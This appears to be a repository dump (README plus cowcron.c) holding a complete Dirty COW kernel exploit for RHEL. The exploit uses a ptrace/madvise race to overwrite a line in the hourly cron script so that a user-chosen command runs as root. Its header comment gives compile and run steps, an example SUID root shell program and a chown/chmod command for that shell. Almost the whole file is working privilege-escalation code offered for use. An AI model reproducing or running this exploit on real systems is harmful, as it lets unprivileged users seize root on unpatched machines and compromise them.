├── README.md └── cowcron.c /README.md: -------------------------------------------------------------------------------- 1 | # cowcron 2 | Cronbased Dirty Cow Exploit 3 | 4 | For more details visit https://www.securifera.com/blog/2017/01/28/a-less-dirty-cow/ 5 | -------------------------------------------------------------------------------- /cowcron.c: -------------------------------------------------------------------------------- 1 | /* 2 | This exploit leverages the pokemon exploit of the dirtycow vulnerability 3 | to write to the default 0anacron hourly crontab in RHEL. Any other script 4 | in the cron.* directories can be substituted for the 0anacron script. This 5 | option was chosen over the common /etc/passwd file because it's less intrusive. 6 | The original /etc/cron.hourly/0anacron file is backed-up to /tmp/0anacron.bak, 7 | at which point a comment line is overwritten with a call to a file in /tmp. 8 | A path to a script in /tmp/ was chosen over a direct command due to size 9 | limitiations in regard to the command and the comment being replaced in 10 | the cron script. Comments were chosen because they provide the least 11 | possibility for unintended consequences when overwriting cron tasks. 12 | 13 | Example of command to put in /tmp/* script: 14 | chown root /home//shell;chmod +s /home//shell 15 | 16 | Example SUID binary - shell.c 17 | #define _GNU_SOURCE 18 | #include 19 | #include 20 | void main(){ 21 | int euid = geteuid(); 22 | setresuid(euid,euid,euid); 23 | execl("/bin/bash", "/bin/bash", NULL); 24 | } 25 | 26 | Original exploit (dirtycow's ptrace_pokedata "pokemon" method): 27 | https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c 28 | 29 | Compile with: 30 | gcc -pthread cowcron.c -o cowcron 31 | 32 | Then run the newly create binary by typing: 33 | "./cowcron" 34 | 35 | Be sure to restore "/etc/cron.hourly/0anacron" after running the exploit 36 | mv /tmp/0anacron.bak /etc/cron.hourly/0anacron 37 | 38 | 39 | Exploit mashed-up by b0yd 40 | https://www.securifera.com 41 | */ 42 | 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | 56 | const char *filename = "/etc/cron.hourly/0anacron"; 57 | const char *backup_filename = "/tmp/0anacron.bak"; 58 | const char *cmd_str = "/tmp/%c"; 59 | const char *copy_cmd = "cp /etc/cron.hourly/0anacron /tmp/0anacron.bak"; 60 | const char *end = ";#"; 61 | void cow( char *inj_cmd, unsigned start_offset ); 62 | 63 | int f; 64 | void *map; 65 | char *inj_cmd; 66 | pid_t pid; 67 | pthread_t pth; 68 | struct stat st; 69 | 70 | void *madviseThread(void *arg) { 71 | int i, c = 0; 72 | for(i = 0; i < 200000000; i++) { 73 | c += madvise(map, 100, MADV_DONTNEED); 74 | } 75 | //printf("[+] madvise %d\n\n", c); 76 | } 77 | 78 | int copy_file(const char *from, const char *to) { 79 | // check if target file already exists 80 | if(access(to, F_OK) != -1) { 81 | printf("[-] File %s already exists! Please delete it and run again\n", 82 | to); 83 | return -1; 84 | } 85 | 86 | //Copy using system because I'm lazy and don't want to redo permissions. 87 | system(copy_cmd); 88 | 89 | return 0; 90 | } 91 | 92 | void create_tmp( char* passed_str ){ 93 | int fd; 94 | unsigned int lw_char; 95 | mode_t mode; 96 | 97 | //Get the necessary length 98 | int req_len = strlen(cmd_str) + strlen(end); 99 | inj_cmd = (char *)calloc(req_len, 1); 100 | 101 | /* initialize random seed: */ 102 | srand (time(NULL)); 103 | 104 | while( 1 ){ 105 | //generate lowercase ascii char 106 | lw_char = rand() % (122 - 97) + 97; 107 | 108 | sprintf(inj_cmd, cmd_str, lw_char); 109 | if( access( inj_cmd, F_OK ) != -1 ) { 110 | // file exists 111 | continue; 112 | } else { 113 | // file doesn't exist 114 | mode = S_IRWXU | S_IRWXG | S_IRWXO; 115 | fd = creat(inj_cmd, mode); 116 | write(fd, passed_str, strlen(passed_str)); 117 | close(fd); 118 | printf("[+] Script file written at %s", inj_cmd); 119 | puts("[+] Feel free to modify the script anytime before execution.\n"); 120 | break; 121 | } 122 | } 123 | strcat(inj_cmd, end); 124 | printf("[+] Inserting command: %s\n", inj_cmd); 125 | } 126 | 127 | 128 | void cow( char *inj_cmd, unsigned start_offset ){ 129 | 130 | printf("[+] Writing \"%s\" at offset %d, Holdor...\n", inj_cmd, start_offset ); 131 | pid = fork(); 132 | if(pid) { 133 | waitpid(pid, NULL, 0); 134 | int u, i, o, c = 0; 135 | int l=strlen(inj_cmd); 136 | for(i = 0; i < 10000/l; i++) { 137 | for(o = 0; o < l; o++) { 138 | int offset = o + start_offset; 139 | for(u = 0; u < 10000; u++) { 140 | c += ptrace(PTRACE_POKETEXT, pid, map + offset, *((long*)(inj_cmd + o))); 141 | } 142 | } 143 | } 144 | //printf("[+] ptrace %d\n",c); 145 | } else { 146 | pthread_create(&pth, NULL, madviseThread, NULL); 147 | ptrace(PTRACE_TRACEME); 148 | kill(getpid(), SIGSTOP); 149 | pthread_join(pth,NULL); 150 | } 151 | 152 | printf("[+] Done! Check %s to see if the new line was added.\n", filename); 153 | printf("[*] Be sure to restore %s to %s\n", backup_filename, filename ); 154 | 155 | } 156 | 157 | char *get_command(){ 158 | 159 | char *line = NULL; 160 | size_t len = 0; 161 | ssize_t read; 162 | 163 | printf("Enter the command you want executed as root.\n"); 164 | printf("> "); 165 | 166 | read = getline(&line, &len, stdin); 167 | if( read == 1 ){ 168 | puts("[-] No command entered. Exiting"); 169 | exit(0); 170 | } 171 | 172 | return line; 173 | } 174 | 175 | int main(int argc, char *argv[]){ 176 | 177 | // backup file 178 | int ret = copy_file(filename, backup_filename); 179 | if (ret != 0) { 180 | exit(ret); 181 | } 182 | 183 | char *cmd = get_command(); 184 | printf("[-] Command entered: %s\n", cmd); 185 | 186 | //Create the tmp file with executable permissions 187 | create_tmp(cmd); 188 | 189 | f = open(filename, O_RDONLY); 190 | fstat(f, &st); 191 | map = mmap(NULL, st.st_size + sizeof(long), PROT_READ, MAP_PRIVATE, f, 0); 192 | //printf("[+] mmap: %lx\n",(unsigned long)map); 193 | char *file_contents = (char *)calloc(st.st_size + sizeof(long) + 1, 1); 194 | memcpy(file_contents, map, st.st_size); 195 | 196 | char *start = strstr(file_contents, "\n\n#"); 197 | //printf("Offset: %x\n", start); 198 | if( start ){ 199 | start += 2; 200 | //printf("Start: \n%s\n", start); 201 | char *end = strstr(start, "\n"); 202 | //printf("Offset: %x\n", end); 203 | if( end ){ 204 | char *comment = (char *)calloc(end - start + 1, 1); 205 | memcpy(comment, start, end - start); 206 | printf("[+] Found comment that can be replaced: \n\t%s\n", comment); 207 | cow( inj_cmd, start - file_contents ); 208 | free(comment); 209 | } 210 | } else { 211 | puts("[-] Unable to locate any comments in the file to replace.\n"); 212 | } 213 | 214 | //Free resources 215 | free(file_contents); 216 | free(inj_cmd); 217 | free(cmd); 218 | close(f); 219 | 220 | return 0; 221 | 222 | } 223 | --------------------------------------------------------------------------------